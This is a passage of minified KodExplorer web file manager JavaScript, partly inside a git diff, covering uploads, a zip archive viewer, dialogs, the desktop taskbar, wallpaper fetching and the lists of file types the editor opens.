e.serverData._raw&&(t=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t).attr("title",t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
    '+LNG.upload_drag_tips+"
    ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('
    ').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var i,t={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,i){var t=15,a=$("#"+i.tId+"_switch"),n=$("#"+i.tId+"_ico");a.remove(),i.iconSkin=i.tree_icon;var o=i.tree_icon;if(i.ext?o=i.ext:i.tree_icon||(o=i.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 0!=i.ext&&n.attr("class","").addClass("file "+i.ext).removeAttr("style"),i.level>=1){var s="";a.before(s)}var r=''+date(LNG.time_type,i.mtime)+"";r+=''+core.fileSize(i.size)+"",r+='',$("#"+i.tId+"_span").after(r),a.parent().addClass(i.menuType)}},callback:{onClick:function(e,t,a){$(e.target).hasClass("menu_more")||(i.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,i){m(i)},onExpand:function(e,i){m(i)},beforeRightClick:function(e,t){t&&(u(t),i.selectNode(t))},onDblClick:function(e,t,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",i)}}},a=function(e){for(var i=function(e){for(var t=0;e.length>t;t++)if(void 0!=e[t]){var a=e[t];e[t]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[t].ext,e[t].child?(e[t].children=e[t].child,delete e[t].child,i(e[t].children)):delete e[t].child}else delete e[t]},t={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),t[e[a].filename]=e[a]);for(var n in t)if(!t[n].folder)for(var o=core.pathFather(t[n].filename);""!=o&&"/"!=o&&!t[o]&&!t[rtrim(o,"/")];)t[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in t){var r=t[n],l=core.pathFather(r.filename);if(t[l]&&(l=core.pathFather(r.filename)),t[rtrim(l,"/")]&&(l=rtrim(l,"/")),t[l])t[l].child||(t[l].child=[]),t[l].child.push(t[r.filename]);else{var c=t[r.filename];c&&s.push(c)}}return i(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:i.top})})},o=function(e,i){if(void 0==i){var t=$(".context-menu-active").parents(".ztree");if(0==t.length)return;i=$.fn.zTree.getZTreeObj(t.attr("id"))}var a=i.getSelectedNodes()[0];switch(e){case"open":c(i,a);break;case"down":l(i,a);break;case"unzip_this":p(i,a);break;case"unzip_to":d(i,a);break;case"info":h(i,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var i=0;e.children.length>i;i++)r(e.children[i])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&download=1&index="+i.index;ui.pathOpen.downloadUrl(a)},c=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&index="+i.index+"&name=/"+urlEncode(i.path),n=i.ext;"zip"==n&&(n="unknow"),i.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,i){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(t){p(e,i,t)})},p=function(e,i,t){var a=e.setting.filePath;e.setting.fileUrl,void 0==t&&(t=G.this_path,void 0==t&&(t=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:t,unzip_part:i.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=t+core.pathThis(i.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var i=f(e),t=LNG.size+" "+i.size_friendly+" ("+i.size+" Byte)";"folder"==e.type&&(t=i.file_num+LNG.file+","+i.folder_num+LNG.folder+", "+t),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(t)},f=function(e){var i={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(i.path=i.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(i,s),i.size_friendly=core.fileSize(i.size)),i},h=function(e,i){var t="folder"==i.type?"folder":core.pathExt(i.path),a="folder"==i.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(i);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(t),fixed:!0,title:core.pathThis(i.path),content:n(o),ok:!0})},v=function(e,i){var t=template.compile(tpl_zipview),a=t({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:i,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},m=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},_=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),v(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),t,s),i=$.fn.zTree.getZTreeObj(r),m(r),u(i.getNodeByParam("index","-1",null))},g=function(e){var t="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(t="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(t=G.app_host+"index.php?"+t,$.ajax({url:t,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(_(core.pathThis(e),a.data),i.setting.filePath=e,i.setting.fileUrl=t):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/app/page",[],function(){var e,i=function(){e=location.hash.split("#",2)[1],e||(e="all"),a(e),$("ul.setting a").click(function(){e!=$(this).attr("id")&&(e=$(this).attr("id"),a(e)) +}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e="index.php?setting/set&k="+type+"&v="+value;$.ajax({url:e,dataType:"json",success:function(e){Tips.tips(e.data,e.code)}})}),$(".create_app").die("click").live("click",function(){window.parent&&window.parent.ui.path.pathOperate.appEdit("","","root_add")}),$(".app-list .app_li").die("click").live("click",function(e){if($(e.target).attr("action")){var i=jsonDecode(base64Decode($(this).attr("data-app"))),t=$(e.target).attr("action");switch(t){case"preview":core.openApp(i);break;case"add":var n="/";ShareData.frameTop("",function(e){n=e.G.this_path});var o=urlEncode(n+i.name),s="./index.php?app/user_app&action=add&path="+o;$.ajax({url:s,dataType:"json",type:"POST",data:{data:urlEncode(jsonEncode(i))},error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&ShareData.frameTop("",function(e){e.ui.f5()})}});break;case"edit":ShareData.frameTop("",function(e){e.ui.path.pathOperate.appEdit(i,"","root_edit")});break;case"del":$.dialog({id:"dialog_app_remove",icon:"question",padding:20,width:200,lock:!0,background:"#000",opacity:.3,content:LNG.remove_info,ok:function(){$.ajax({url:"./index.php?app/del&name="+urlEncode(i.name),dataType:"json",error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&a()}})},cancel:!0});break;default:}}})},t=function(e){var i="",t=" ";G.is_root||(t="");for(var a in e)if(e[a]){var n=e[a].icon;-1==n.search(G.static_path)&&"http"!=n.substring(0,4)&&(n=G.static_path+"images/file_icon/icon_app/"+n),i+="
  • "+e[a].name+" "+e[a].desc+"

    "+"
    "+t+"
  • "}return i+="
    "},a=function(i){(void 0==i||""==i)&&(i=e),$(".selected").removeClass("selected"),$("ul.setting a#"+i).addClass("selected"),$(".main").find(".h1").html(""+$(".selected").text());var a=$(".main .app-list");$.ajax({url:"./index.php?app/get&group="+i,dataType:"json",beforeSend:function(){},success:function(e){a.html(t(e.data)),$("body").scrollTop(0)}})};return{reload:a,init:i}}); \ No newline at end of file diff --git a/static/js/app/src/desktop/main.js b/static/js/app/src/desktop/main.js index ba60acc..b44d60a 100755 --- a/static/js/app/src/desktop/main.js +++ b/static/js/app/src/desktop/main.js @@ -1,8 +1,9 @@ -/*! power by kodexplorer ver3.41(2017-03-06) [build 1488797373403] */ -define("app/src/desktop/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/taskTap","../../common/core","../../common/rightMenu","../explorer/ui","../explorer/fileContent","../explorer/path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .fileContiner",FileBoxClass:".bodymain .fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .fileContiner .title",SelectClass:".bodymain .fileContiner .file.select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",pageApp:"desktop",navbar:"navbar",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("../explorer/ui"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),$(document).ready(function(){G.user_config.list_type="icon",core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),TaskTap.init(),rightMenu.initDesktop(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".fileContiner").removeClass("hidden"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),$(".bodymain").click(function(){"block"==$("#menuwin").css("display")&&$("#menuwin").css("display","none"),$("body").focus()}),$(".start").click(function(){"block"==$("#menuwin").css("display")?$("#menuwin").css("display","none"):$("#menuwin").css("display","block")}),$("#menuwin").click(function(){$("#menuwin").css("display","none")}),$(".copyright").click(function(){core.copyright()}),$(".tab_hide_all").click(function(){if(0!=$.dialog.list.length){$(this).toggleClass("this");var e=!$(this).hasClass("this");$.each($.dialog.list,function(i,t){t.display(e)})}});var i='
    ';$("body").append(i);var t=$("#randomWallpaper .flower");t.bind("click",function(){t.addClass("moveCircle");var e=function(e){var i=G.myhome+"picture/wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+i,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e))})};core.api.randomImage(function(i){ui.setWall(i,function(){setTimeout(function(){t.removeClass("moveCircle")},100)}),$.get("index.php?setting/set&k=wall&v="+urlEncode(i)),e(i)})})})}),define("app/common/taskTap",[],function(){var e={},i="",t=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var i=e.attr("id"),t=$.dialog.list[i];if(void 0==t)return c(i),void 0;var a=$("."+i);"hidden"==a.css("visibility")?t.display(!0).zIndex():a.hasClass("aui_state_focus")?t.display(!1):t.zIndex()},o=function(){var e,i,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(i){1==i.which&&(e=$(this),h(i),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(i){_(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(i.pageX-l)&&n(e)}))});var h=function(t){s=!0,r=!0,l=t.pageX,$tab_parent=$(".task_tab"),i=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(i.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(i.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=t.clientX-l+c;$("body").prepend("
    "),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(t){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(t);var n=t.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),i.each(function(){var i=$(this).get(0).getBoundingClientRect().left;if(n>i&&i+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"left")}if(n>i-d/2+p&&i>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"right")}}))}},v=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),i=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},t),l.animate({width:"0px"},t,function(){$(this).remove(),i=$(".task_tab .tab")})}},_=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},t,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var i=110,a=i,n=i+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},t);case"close":o.animate({width:a+"px"},t);break;case"resize":o.css("width",a+"px");break;default:}},r=function(i,t){$(".task_tab").removeClass("hidden");var a=t.replace(/<[^>]+>/g,""),n='
    '+t+"
    ";$(n).insertBefore(".task_tab .last"),s("add"),e[i]={id:i,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),i=e},c=function(i){$(".task_tab #"+i).animate({width:0},t,function(){if($(".task_tab #"+i).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[i]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep100:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quitOthers":$.each($.dialog.list,function(e,i){t!=e&&i.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,i){var t=i.$trigger.attr("id");switch($.dialog.list[t],e){case"showAll":$.each($.dialog.list,function(e,i){i.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,i){i.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,i){i.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
    ';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));e=i.is("input")||i.is("textarea")?i.val():i.html()}return e=e?e:"",e.replace(/\n/g,"
    ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"]